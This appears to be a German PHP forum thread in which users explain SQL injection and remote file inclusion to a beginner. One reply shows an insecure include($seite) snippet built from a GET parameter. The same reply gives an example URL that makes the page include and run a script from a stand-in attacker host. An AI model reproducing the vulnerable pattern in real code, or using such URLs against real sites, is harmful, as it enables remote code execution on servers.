Sicherheit?

Der Punkt ist, dass man zur Sicherheit der Daten auf einem Server (Web- oder MySQL-Server) niemals einem Benutzer trauen sollte. Man sollte immer davon ausgehen, dass der Benutzer einem etwas Böses will. Demnach sind insbesondere Benutzereingaben – sei es in einem Formular oder als Anfrage eines URL – mit besonderer Vorsicht zu behandeln.

Im Bezug auf eine SQL-Datenbank kann es beispielsweise zu so genannten SQL-Injektionen kommen. Um sich vor solchen SQL-Injektionen zu schützen, bietet PHP beispielsweise die mysql_real_escape_string()-Funktion an, die entsprechende Zeichen für MySQL maskiert und somit unschädlich macht.

Ein weiteres Sicherheitsrisiko sind URLs. Viele greifen auf URL-Parametern zurück, um entsprechende Inhalte in eine Webseite einzubinden. Jedoch wird dort häufig nicht an Sicherheit gedacht. So kann es dazu kommen, dass – ähnlich wie bei den SQL-Injektionen – nicht vorhergesehene URLs angefragt werden, die von Laufzeitüberschreitungen (beispielsweise durch Angabe des aufgerufenen Dokuments) bis hin zu schwereren Fällen führen können, bei denen fremde Scripte aufgerufen und verarbeitet werden. Demnach sollten auch dort die Benutzereingaben unbedingt überprüft werden.
 
Zuletzt bearbeitet:
Hi,

da ich keine datenbank benutzte wir das mit der sql injektion wohl kaum pssieren. ich kann mir zwar vorstellen das jemand bei der eingabe einen link eingibt aber welchen nutzten er daon hat verstehe ich nicht. in meinem phph script wird an keiner einzigen stelle irgendeine möglichkeit geliefert diesesn auszuführen oder habe ich dich da fasch verstanden?

mfg Prophet05
 
Hi,

Da ist doch bestimmt auch ein Passwort mit drin dan sollte es doch keine Probleme geben weil er das nicht kennt.

Hier nochmal meine Letzte Nachricht:
da ich keine datenbank benutzte wir das mit der sql injektion wohl kaum pssieren. ich kann mir zwar vorstellen das jemand bei der eingabe einen link eingibt aber welchen nutzten er daon hat verstehe ich nicht. in meinem phph script wird an keiner einzigen stelle irgendeine möglichkeit geliefert diesesn auszuführen oder habe ich dich da fasch verstanden?

mfg Prophet50
 
Das Include-Problem:
Alle Daten die ein Besucher eingeben kann - MÜSSEN - erst einmal als -nicht vertrauenswürdig- eingestuft werden. Dazu zählen POST-, GET- und COOKIE-Daten.

Ein Beispiel (die Daten kommen per GET - z. B. http://www.neseite.de/index.php?seite=impressum.php ):

PHP:
<?php
//mein doofer seitenincluder
include($seite);
?>

Wenn jetzt PHP nicht im Safe Modus läuft und die Funktion nicht deaktivert wurde, kann eine Include auch von einem entfernten Server kommen. Dies passiert dann über die Browseradressleiste indem man z. B. folgendes eingibt:
http://www.neseite.de/index.php?seite=http://hackerseite.br/boesesscript.php

Das Include ruft nun den fremden Quellcode auf, liest ihn ein und führt ihn aus. Und schon kann man viele nette sachen mit dem Webspace und/oder Server anstellen (eine kleine "phpshell" kann sehr fies werden).

Ähnliches ist auch über Formulare möglich. Es gibt viele Ansatzpunkte über die sich ein Entwickler Gedanken machen sollte.
 
das ist ziemlich problematisch...

ich hoffe ich werde da irgendwann etwas finden...

aber es dauert eh noch bis ich die seite online stelle ich habe also noch zeit mich mit dem problem zu beschäftigen.

Vielen Dank für eure Posts!

mfg Prophet05
 
Zurück